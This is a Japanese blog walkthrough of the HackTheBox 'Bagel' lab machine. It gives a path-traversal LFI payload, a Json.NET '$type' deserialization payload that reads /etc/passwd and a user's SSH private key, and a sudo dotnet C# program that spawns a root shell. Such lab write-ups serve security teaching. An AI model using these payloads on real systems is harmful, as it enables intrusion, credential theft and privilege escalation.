0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox Writeup】Bagel

Last updated at Posted at 2023-06-09

始めに

HackTheBox の Bagel の Write up です.
一か月ぐらい前に攻略したのを思い出しながら書きます.
道のりは一か所高い崖があり残りは平坦という感じ.

マシンの情報

  • マシン名: Bagel
  • OS: Linux
  • 難易度: Medium

攻略

User

nmap

Nmap scan report for bagel.htb (10.10.11.201)
Host is up (0.091s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:09 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:25 GMT
|     Connection: close
|   Help, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:36 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:09 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (version).)</h1>
|   TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Fri, 28 Apr 2023 12:32:37 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 28 Apr 2023 12:32:10 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Fri, 28 Apr 2023 12:32:05 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
| http-title: Bagel &mdash; Free Website Template, Free HTML5 Template by fr...
|_Requested resource was http://bagel.htb:8000/?page=index.html

8000番から見る.

Web(port 8000)

image.png
Top ページ.URL が怪しい.
image.png
Orders というページでは注文情報?のテキストファイルが見れる.

Top ページの URL をいじってみる.page=../../../../../../etc/passwd としてみると
image.png
普通に LFI ができる.

web root を探す. 8000 番で apache や nginx 越しではないのでその辺の config は意味なし.
Python web app っぽいから /var/www/html/app.py とか /var/www/app/app.py をやってみるが File not found.
ホームディレクトリを見てみると /home/developer/ は読めそう.
image.png
同様に探すと /home/developer/app/app.py が見つかる.
image.png

app.py
### ~~~ 中略 ~~~
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")
### ~~~ 中略 ~~~

5000 番ポートに Web Socket で接続している.このポートには nmap で見たように外部からも接続できそうだ.
試しに "orders.txt" の所で LFI が出来ないか投げてみたが,失敗.流石にこちらは対策されている.
出来れば Web Socket 側のソースコードも読みたいところ.
app.py 中のコメントによれば先に order app を起動しているっぽい.
Web app の何個か前のプロセスを enum してみる.
image.png
Web app の PID は 893.
PID 892 は File not found だが 891 がビンゴ.
Inked68747470733a2f2f71696974612d696d6167652d73746f72652e73332e61702d6e6f727468656173742d312e616d617a6f6e6177732e636f6d2f302f3638343932382f35396137633532362d343038312d373931332d303662312d3735303062333763346139622e706e67.jpg
/proc/891/cmdline から起動コマンドを参照すると dll ファイルのパスが分かる.
image.png
幸いなことに LFI で読めるので wget する.

徒労 (読まなくてもいいもの)

dll はバイナリなので,元のソースコードが読めるならそれに越したことはない.
dotnet という事は C# かなとは思ったが,C# なんも知らんなので手元で一回ソースからコンパイルしてみてディレクトリ構成等を確認してみる.
こちらの記事を参考に myApp というプロジェクトを作ってみた.するとディレクトリ構成は以下の様になった.

$ tree myApp              
myApp
├── bin
│   └── Debug
│       └── net6.0
│           ├── myApp
│           ├── myApp.deps.json
│           ├── myApp.dll
│           ├── myApp.pdb
│           ├── myApp.runtimeconfig.json
│           └── Newtonsoft.Json.dll
├── myApp.csproj
├── obj
│   ├── Debug
│   │   └── net6.0
│   │       ├── apphost
│   │       ├── myApp.AssemblyInfo.cs
│   │       ├── myApp.AssemblyInfoInputs.cache
│   │       ├── myApp.assets.cache
│   │       ├── myApp.csproj.AssemblyReference.cache
│   │       ├── myApp.csproj.CopyComplete
│   │       ├── myApp.csproj.CoreCompileInputs.cache
│   │       ├── myApp.csproj.FileListAbsolute.txt
│   │       ├── myApp.dll
│   │       ├── myApp.GeneratedMSBuildEditorConfig.editorconfig
│   │       ├── myApp.genruntimeconfig.cache
│   │       ├── myApp.GlobalUsings.g.cs
│   │       ├── myApp.pdb
│   │       ├── ref
│   │       │   └── myApp.dll
│   │       └── refint
│   │           └── myApp.dll
│   ├── myApp.csproj.nuget.dgspec.json
│   ├── myApp.csproj.nuget.g.props
│   ├── myApp.csproj.nuget.g.targets
│   ├── project.assets.json
│   └── project.nuget.cache
└── Program.cs

注目して欲しいのは myApp.dll のパス(myApp/bin/Debug/net6.0/myApp.dll)がちゃんと bagel.dll のパス(/opt/bagel/bin/Debug/net6.0/bagel.dll)と対応しているという事とソースコードファイルが myApp/Program.cs 存在している点である.
従って /opt/bagel/Program.cs にソースコードがある事が期待できる と思ったのだが...
image.png
Hello, World かい.
bagel.cs とか色々試してみたが無駄.仕方ないので逆コンパイルする事にした.
後で驚くのだが,dll の逆コンパイルがあんなに綺麗に出来るとは露知らなかったので,結構必死にソースコードを探してしまった.
以上,徒労終わり.

dll なんも知らんだったのでググって出てきた ILSpy でデコンパイルをやってみる(Kali 上ではなくホストの Windows 上でやります).

Insecure deserialization

ここからがこのボックスで最も難しく,そして最も面白いパートである.
ILSpy で件の dll ファイルを開くと綺麗にデコンパイルされる.

まず DB Class の中に database 接続のための cred が書いてある.しかし ssh はできない(パスワードログイン不可).

本体の方を見ていく.Web Scoket を通して投げられた json は次のように処理される.

  1. JsonConvert.DeserializeObject<Base> によって Base クラスのインスタンスオブジェクト request にデシリアライズされる.Base クラスは Orders クラスを継承している.
  2. デシリアライズされる際に json の値によって全ての(パブリック)プロパティが初期化される.
  3. request を今度はシリアライズする.すなわち全てのプロパティの値が取得され json 化される.
  4. json を Web Socket で返す.

デシリアライズと言えば安全でないデシリアライゼーションがある.JsonConvert.DeserializeObject についても調べると色々出てくるが,

が参考になった.ポイントは

  1. JsonSerializerSettingsTypeNameHandling が 4 (auto) に設定されているとき,
  2. object のような抽象的な型のプロパティは json の $type フィールドに具体的な型を設定してデシリアライズ可能

という事である.今の場合 1. は満たされている.2. も都合よく Orders クラスの RemoveOrder プロパティの型が object なので恐らくこの方向で正しそう.
次の問題は RemoveOrder をどの型のオブジェクトにデシリアライズするか,である.
最初,上に挙げた2番目の記事に引っ張られて元からあるシステムの型で何か出来ないか,かなりの時間試行錯誤した.
Windows 上であれば任意コード実行できるようなのだが,このボックスは Linux なので必要なライブラリが入ってない?ようである.
他にも FileSystemInfo オブジェクトの UnixFileMode プロパティを変更することでファイルパーミッションを変えられるというのを見つけたのだが(こちら参照)残念ながら .NET 7 以降のみで使えるようで今回は無理だった(もし使えていたらこちらからも攻略できたはず).
少し詰まったが改めてコードを見直している時にようやくひらめいた.Orders クラスの中で使われている File クラスを使えばいいのだ.LFI 対策は Orders クラスで行われていて File クラスは無防備な事が鍵である. 加えて File クラスのインターフェースが ReadFile という プロパティ で提供されている事も大事.メソッドだとデシリアライズの際に呼び出す事は出来ないから.(自分の感覚だとこういうのはメソッドで実装するのが自然なのではと思うのだが,C# ではこれが普通の書き方なのだろうか?)
やりたい事をまとめると,json から Base クラス(実質Orders クラス)がデシリアライズされる際に, RemoveOrder プロパティを File クラスとしてデシリアライズし,さらにその際に ReadFile プロパティを ../ もりもりで set するという事である.ややこしい.
本当にいけるかやってみる.

$ python3 -m websockets ws://bagel.htb:5000  
Connected to ws://bagel.htb:5000.
> {"RemoveOrder": {"$type": "bagel_server.File, bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null", "ReadFile": "../../../../../../etc/passwd"}}
< {
  "UserId": 0,
  "Session": "Unauthorized",
  "Time": "10:40:54",
  "RemoveOrder": {
    "$type": "bagel_server.File, bagel",
    "ReadFile": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false",
    "WriteFile": null
  },
  "WriteOrder": null,
  "ReadOrder": null
}

いけた!
(ちなみに $type フィールドの bagel_server.File, bagel の部分はソースコードの一番上のコメントに書いてあるのを使う.ここも地味に詰まった.)
こっちのプロセスはユーザー phil の権限で動いているので,phil のホームディレクトリが覗ける.
そして /home/phil/.ssh/id_rsa から秘密鍵が得られる(あって良かった).

Root

Root は簡単なのでサラッと.
まずさっき使えなかったパスワードで developer にログインできる(su を使う).
sudo -l を見ると

[developer@bagel phil]$ sudo -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:
    (root) NOPASSWD: /usr/bin/dotnet

dotnet コマンドを root 権限で使える.
後は C# でシステムコマンドを実行するコードをググって書いて sudo dotnet で実行するだけ.

[developer@bagel phil]$ cd /tmp
[developer@bagel tmp]$ mkdir myApp
[developer@bagel tmp]$ cd myApp/
[developer@bagel myApp]$ dotnet new console
The template "Console App" was created successfully.

Processing post-creation actions...
Running 'dotnet restore' on /tmp/myApp/myApp.csproj...
  Determining projects to restore...
  Restored /tmp/myApp/myApp.csproj (in 177 ms).
Restore succeeded.

[developer@bagel myApp]$ vim Program.cs 
[developer@bagel myApp]$ cat Program.cs 
using System.Diagnostics;
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName="/bin/bash";
startInfo.ArgumentList.Add("-c");
startInfo.ArgumentList.Add("bash -i");
Process.Start(startInfo).WaitForExit();
[developer@bagel myApp]$ sudo dotnet run

Welcome to .NET 6.0!
---------------------
SDK Version: 6.0.113

----------------
Installed an ASP.NET Core HTTPS development certificate.
To trust the certificate run 'dotnet dev-certs https --trust' (Windows and macOS only).
Learn about HTTPS: https://aka.ms/dotnet-https
----------------
Write your first app: https://aka.ms/dotnet-hello-world
Find out what's new: https://aka.ms/dotnet-whats-new
Explore documentation: https://aka.ms/dotnet-docs
Report issues and find source on GitHub: https://github.com/dotnet/core
Use 'dotnet --help' to see available commands or visit: https://aka.ms/dotnet-cli
--------------------------------------------------------------------------------------
/tmp/myApp/Program.cs(6,1): warning CS8602: Dereference of a possibly null reference. [/tmp/myApp/myApp.csproj]
[root@bagel myApp]# id                                                                                                                                                                                                                     
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

マシンは出来るだけ汚さず立ち去りましょう!!!

[root@bagel myApp]# cd ..
[root@bagel tmp]# rm -rf myApp/

感想

夢中になって一気に攻略したボックスだった.
こういう straightforward に高い壁を越えていくボックスは結構好み.
今までで一番楽しかったかもしれない.

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?